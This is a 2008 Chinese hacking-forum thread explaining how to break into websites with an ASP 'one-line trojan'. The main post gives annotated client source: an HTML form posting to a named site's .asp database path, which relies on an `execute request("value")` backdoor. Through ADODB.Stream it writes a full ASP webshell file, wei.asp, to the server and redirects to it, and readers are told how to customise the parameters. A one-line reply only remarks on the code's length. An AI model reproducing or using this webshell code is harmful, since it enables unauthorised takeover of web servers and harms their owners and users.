找回密码
 开放注册

QQ登录

只需一步,快速开始

微信登录

微信扫码,快速开始

搜索
查看: 1010|回复: 1

一句话木马入侵网站

[复制链接]

19

主题

177

回帖

256

牛毛

一级牛人

积分
256
发表于 2008-6-15 09:49:34 | 显示全部楼层 来自 广东省深圳市宝安区
[s:121] 好像不只一句吧?都十多句!

739

主题

468

回帖

4307

牛毛

论坛管理员

狼群

积分
4347
 楼主| 发表于 2008-6-14 20:01:06 | 显示全部楼层 |阅读模式
一句话木马客户端源文件:

里面涉及到一些脚本知识,我就只讲解一下功能和简单注释,不详细讲了,大家只要注意几个注意点就行了

//后面是注释,学c的人应该很熟悉

<form
action=http://mail.lang2008.cn/news/ebook/db/ebook.asp

//\"action=\"后面是需要修改的以asp命名的数据库的提交地址

method=post>

//这个标签的意思是建立一个表单 以post方式提交给连接

http://mail.lang2008.cn/news/ebook/db/ebook.asp处理


<textarea name=value cols=120 rows=10 width=45> //这里的value值根据服务端
                         <%execute request(\"value\")%>中value而设定
                        可以自行修改成<%execute request(\"p\")%>相应这                         里的value值也必须改为p
                        

set lP=server.createObject(\"Adodb.Stream\")//建立流对象,有了对象才可以使用它固有的属性和方法
lP.Open //打开
lP.Type=2 //以文本方式
lP.CharSet=\"gb2312\" //字体标准
lP.writetext request(\"joeving\") //取得木马内容 参数joeving可以自己定义 但必须和下面的
                 name=joeving相对应
lP.SaveToFile server.mappath(\"wei.asp\"),2
                     //将木马内容以覆盖文件的方式写入wei.asp,2就是已覆                      盖的方式,这里的wei.asp也是可以自己定义的,如定义                     成1.asp,但和下面的response.redirect\"wei.asp\"中                       wei.asp的保持一致
lP.Close //关闭对象
set lP=nothing //释放对象
response.redirect \"wei.asp\" //转向生成的wei.asp 和上面的wei.asp相对应,也就是你熟悉的asp木马登              陆界面
您需要登录后才可以回帖 登录 | 开放注册

本版积分规则

帮助|Archiver|小黑屋|通信管理局专项备案号:[2008]238号|NB5用户社区 ( 皖ICP备08004151号;皖公网安备34010402700514号 )

GMT+8, 2025-1-12 06:49 , Processed in 0.116568 second(s), 27 queries , Yac On.

Powered by Discuz! X3.5

快速回复 返回顶部 返回列表